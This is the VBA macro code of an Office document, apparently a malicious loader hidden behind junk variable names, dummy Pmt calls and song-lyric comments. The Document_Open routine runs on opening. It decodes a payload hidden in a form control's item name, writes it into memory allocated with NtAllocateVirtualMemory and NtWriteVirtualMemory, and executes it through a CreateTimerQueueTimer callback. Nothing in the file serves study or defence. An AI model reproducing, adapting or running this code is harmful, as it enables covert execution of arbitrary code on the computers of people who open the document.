Sub plaque()
Dim cinematographer As Integer
Dim radio As Integer
modernization.pothos.Value = Day(#12/5/2013#)
varday = minstrelsy = "rote"
bennettitis = "ajaia"
archaistic = aceration
sarcosome = "psephomancy"
bomber = "caconym"

anarhichas = bastnasite
schizoid = "melatonin"
Set exfoliation = modernization.pothos.SelectedItem
mildly = 43
newscast = 14579
cubitiere = 538782
 Pmt 0, mildly, 15373, 35015, 2

bulb = exfoliation.Name
maneater = 7844
unassisted = Right(bulb, maneater)
cheerless = ale.monarchies(unassisted)
extenuation = 2
insidious = 16422
ember = 389246
 Pmt 0, extenuation, 22606, 12626, 5

mangle = "scam"
prosy = "implicated"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim commisvoyageur As Variant
Dim montserratian As LongPtr
Dim handcuffs As LongPtr
Dim clairobscur As Long
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim amis As String
Dim handcuffs As Long
Dim analyticity As Variant
Dim montserratian As Long
#End If
helioscope = 34 - 21 - 13
undemonstrable = "antiinflammatory"
distemper = "flacourtia"
scourer = 19 + 128 + 3949
catamenial = 1
guyana = 10399
parquetry = 439203
 Pmt 0, catamenial, 27187, 12482, 2

anacanthini = "pengo"
ataractic = upanishad
confrication = "nucleotide"
loaves = "jewfish"
gladdened = 24
scaliness = 18123
cherimoya = 168176
 Pmt 0, gladdened, 14101, 49769, 8

undisclosed = cheerless
grab = "percussion"
montserratian = seminary(undisclosed)
grison = "orlon"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim catalepsy As String
Dim watercolor As LongPtr
Dim untrimmed As LongPtr
Dim aboral As LongPtr
secularized = 77 + 77 + 1910
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim watercolor As Long
argyranthemum = 126 + 8 + 647
Dim untrimmed As Long
Dim aboral As Long
secularized = argyranthemum + 3459

#End If
Dim catkin As Integer
Dim disseminate As String
watercolor = 0
handcuffs = montserratian + secularized
untrimmed = 102 + 31 + 201394
aboral = 23 - 41 + 3518
beating = elefants(untrimmed, watercolor, handcuffs)
envelop = 10 + 3
abkari = 11760 + 3
alleviation = 230210 + 8
 Pmt 0, envelop, 10426, 51697, 7

End Sub

Function acknowledgment(posession, sloganeering, monkhood)
vagons = samara(20 / 4)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (vagons) Then
Dim camboose As Byte
Dim fatiguing As Byte
Dim contiguity As LongPtr
Dim ringaroundtherosy As LongPtr
Dim ratification As LongPtr
Dim incredulously As Byte
Dim polarization As LongPtr
Dim kittereen As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (vagons) Then
Dim ringaroundtherosy As Long
Dim austenite As String
Dim contiguity As Long
Dim soullessly As Long
Dim polarization As Long
Dim catalogued As Variant
Dim ratification As Long
Dim empirema As Integer
Dim kittereen As Long
Dim trogoniformes As Integer
Dim liquids As Variant
#End If
posy = "dismount"
cancan = "hamate"
ringaroundtherosy = posession
kittereen = monkhood
bacillariophyceae = Fix(441)
polarization = sloganeering
emanation = 100 + 8
diagrammatically = 38200 + 4
motet = 212380 + 1
 Pmt 0, emanation, 16319, 40766, 5

bacillariophyceae = Fix(101)
contiguity = 93 + 74 - 168
bombinate ByVal contiguity, ringaroundtherosy, polarization, kittereen, ratification
cancan = "libya"
End Function
Function seminary(hindustan)
Dim etymology As Byte
Dim fogyish As String
Dim federalists As Byte
Dim diggings As Variant
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim stupidity As Variant
Dim article As LongPtr
flagellate = 89 - 33 - 48
Dim justifier As LongPtr
Dim anaphoric As Integer
Dim fairandsquare As Byte
Dim penates As LongPtr
Dim helluo As Long
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim article As Long
flagellate = 37 + 71 - 104
Dim justifier As Long
Dim penates As Long
#End If
alligator = VarPtr(article)
circumscribe = acknowledgment(alligator, VarPtr(hindustan) + 8, flagellate)
jhilmil = 63 - 77 + 13
justifier = 0
ableness = 0
penates = 9290
parrotia = 74 - 12 + 4034
arcturus = 15 - 29 + 78
seaside = carposporic(ByVal jhilmil, justifier, ByVal ableness, penates, ByVal parrotia, ByVal arcturus)
enforced = bacillariophyceae \ 95

enforced = tegucigalpa / 432

acknowledgment justifier, article, 88 - 10 + 5805
redux = 40 + 2
libertine = 38080 + 7
itur = 362810 + 7
 Pmt 0, redux, 20584, 38258, 7

seminary = justifier
End Function

Private Sub Document_Open()
Dim magnificat As Variant
Dim bills As Integer
ametropia = "stroll"
preemption = dubrovnik
plaque
shakable = 30 + 8
cucurbit = 4140 + 8
insemination = 475350 + 1
 Pmt 0, shakable, 5533, 43331, 2
End Sub

'  But just your sight had my heart storming
'  Rain was driving, thunder, lightning
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
'  Rain was driving, thunder, lightning
'  The moon went hiding, stars quit shining
Public Declare PtrSafe Function carposporic Lib "ntdll.dll  " Alias _
"NtAllocateVirtualMemory" (welldrawn As LongPtr, dementat As LongPtr, ByVal immovable As LongPtr, uncooperativeByVal As LongPtr, mezzorilevo As LongPtr, ByVal chemin As LongPtr) As LongPtr
'  Hit me like a hurricane
'  Hit me like a hurricane
Public Declare PtrSafe Function bombinate Lib "ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal lefthanded As Any, ByVal allium As Any, ByVal caret As Any, ByVal alsatia As Any, ByVal unblemished As Any) As LongPtr
'  Rain was driving, thunder, lightning
'  The moon went hiding, stars quit shining
Public Declare PtrSafe Function asseveration Lib "Kernel32" Alias "CreateTimerQueueTimer" (ejectment As Any, ByVal aduncous As Any, ByVal materially As Any, ByVal morosity As Any, ByVal trice As Any, ByVal heterosexual As Any, ByVal dsorient As Any) As Long
'  But just your sight had my heart storming
'  Baby, without warning
Public Declare PtrSafe Function fixity Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (harvestlice As Any) As LongPtr
'  The moon went hiding, stars quit shining
'  But you rolled in with your hair in the wind

'  You wrecked my whole world when you came
'  The moon went hiding, stars quit shining
#End If
'  I wouldnt be in my truck
'  Baby, without warning
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
'  Started talking bout us again
'  Baby, without warning
Public Declare Function carposporic Lib "Ntdll.dll  " Alias _
"NtAllocateVirtualMemory" (antipathy As Long, flam As Long, ByVal silentio As Long, embarrassByVal As Long, arcella As Long, ByVal spermicide As Long) As Long
'  Driving us to your house
'  Baby, without warning
Public Declare Function requested Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (enantiomorphism As Any) As Long
'  We locked eyes over whiskey on ice
'  Rain was driving, thunder, lightning
Public Declare Function asseveration Lib "Kernel32" Alias "CreateTimerQueueTimer" (farewell As Any, ByVal capillament As Any, ByVal admiringly As Any, ByVal banewort As Any, ByVal muttonhead As Any, ByVal bog As Any, ByVal authorize As Any) As Long
'  But you rolled in with your hair in the wind
'  Then you rolled in with your hair in the wind
Public Declare Function bombinate Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal suspense As Any, ByVal turvy As Any, ByVal consequential As Any, ByVal misinterpretation As Any, ByVal labdanum As Any) As Long
'  Rain was driving, thunder, lightning
'  Then you rolled in with your hair in the wind
'  But just your sight had my heart storming
'  Rain was driving, thunder, lightning
#End If
'  Hit me like a hurricane
'  But just your sight had my heart storming

Function monarchies(patellidae) As String
Dim cheerful As Long
Dim sometimes As String

Dim wrinkle As Integer

posy = "dissection"

Dim southamerican As Long
Dim larrup(6962) As Byte
Dim brush As Byte

Dim beekeeper() As Byte
Dim alimentative(63) As Long
Dim toughly As Long
Dim chintz As String
leonardesque = cancan

Dim shattery As Byte

Dim struma As Long
Dim argentous(63) As Long
Dim ignoscito As Integer
posy = cancan

Dim eaves(63) As Long
adequate = 4096
poisoning = 7 + 93 + 257948
antibiotic = 78 + 76 + 16711526
battering = 16515072
malacosoma = 94 + 55 + 107
alabaman = 262144
diamagnet = 72 + 96 + 65112
fuzzy = 63
Dim brachium As Long

Dim absentmindedness As Variant

sapropel = 108 + 125 - 169
candida = 255
saver = 65536
Dim musophobia As Byte

amianth = 26 - 79 + 4085
Dim distinctively As Long
airsick = 0
lwei = 26 + 16 + 7801
Dim again() As Byte
Dim drumming As Byte
Dim khan As String
again = VBA.StrConv(patellidae, 128)
Dim mimesis As Integer
affectioned = 4 + 1
burro = 22090 + 5
pyrophorus = 584971
 Pmt 0, affectioned, 9843, 33767, 3

askant = 7843
promulgator = vbKeyShift - 12
For jakarta = (3 - 3) To askant
If jakarta Mod 2 = (4 - 4) Then
again(jakarta) = again(jakarta) - promulgator
Else
again(jakarta) = again(jakarta) - (promulgator - 1)
End If
Next jakarta
buyout = 55
filament = 32718
ballista = 166192
 Pmt 0, buyout, 24589, 37493, 3

ignoscito = 0
gly = 23 - 26 + 3
aurae = 43
rejectious = mdtrs.assignee
For southamerican = (7 - 7) * 1 To (50 + 13) * (5 - 4)
argentous(southamerican) = mdtrs.unaware(southamerican, sapropel, 55)
eaves(southamerican) = mdtrs.unaware(southamerican, adequate, 55)
alimentative(southamerican) = mdtrs.unaware(southamerican, alabaman, 55)
Next southamerican
tallage = 81
buzzword = 33462
preconceived = 440332
 Pmt 0, tallage, 25227, 38293, 4

beekeeper = again
alocasia = 36 - 105 + 73
ambitiously = 20 + 9
inimical = 26410 + 1
neotoma = 250310 + 4
 Pmt 0, ambitiously, 34867, 37643, 7

twitch = 2 + 1
posy = "whine"

bacillariophyceae = Rnd(274)

annulment = twitch + 1
inbounds = 114 - 60 - 52
For struma = (3 - 3) To askant
bebop = beekeeper(struma)
smitane = beekeeper(struma + 2)
flageolet = eaves(rejectious(beekeeper(struma + 1)))
fandango = argentous(rejectious(smitane)) + rejectious(beekeeper(struma + twitch))
toughly = alimentative(rejectious(bebop)) + flageolet + fandango
southamerican = mdtrs.unaware(toughly, antibiotic, 47)
larrup(cheerful) = mdtrs.unaware(southamerican, saver, 37)
southamerican = mdtrs.unaware(toughly, diamagnet, 47)
larrup(cheerful + 1) = mdtrs.unaware(southamerican, malacosoma, 37)
larrup(cheerful + inbounds) = mdtrs.unaware(toughly, candida, 47)
cheerful = cheerful + inbounds + 1
struma = struma + 3
Next
monarchies = larrup
End Function
Function elefants(wrd, buls, lky)
fitr = samara(4 * 10 / 8)
#If (7 * 2) * 3 > 14 / 2 And (12 - 6 * 2) * 1 < (fitr) Then
Dim nikolas As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (12 * 2) / 1 > 14 / 2 And Not (12 - 6 * 2) * 1 < (fitr) Then
Dim nikolas As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
nikolas = buls
deble = lky
dan2 = asseveration(wrd, nikolas, deble, nikolas, nikolas, nikolas, nikolas)
End Function

Function unaware(august, astrocyte, rajab)

If rajab = (37 * 1) + (10 / 2 - 5) Then
unaware = august \ astrocyte
ElseIf rajab = (40 + 7) + (5 - 3) / 2 - 1 Then
unaware = august And astrocyte
ElseIf rajab = (50 + 5) + (56 / 7 - 4 * 2) Then
unaware = august * astrocyte
End If
End Function

Function assignee()
Dim suicide(255) As Byte
epochal = 38 - 91 + 118
Do While (epochal) <= 90 + 1
suicide(epochal) = epochal - 65
epochal = epochal + 1
Loop
epochal = 48
Do While (epochal) <= 50 + 8
suicide(epochal) = epochal + 4
epochal = epochal + 1
Loop
epochal = 97
Do While (epochal) <= 120 + 3
suicide(epochal) = epochal - 71
epochal = epochal + 1
Loop
suicide(47) = 63
epochal = 43
suicide(epochal) = 60 + 2
assignee = suicide
End Function
Function samara(netves)
Dim windser As Integer
Dim velvet As Integer
fixoid = netves * 12
Dim sitroen As Variant
subway2 = netves * 2
Dim cowen() As Byte
#If (3 * 4 + netves) > (7 - 2 * 1) And (10 - netves * 2) * 2 < (Win64) Then
velvet = subway2
#End If
#If (3 * 4 + netves) > (7 - 2 * 1) And Not (Win64) > (10 - netves * 2) * 2 Then
velvet = (120 - fixoid)
#End If
subway3 = subway2 + velvet
samara = velvet
End Function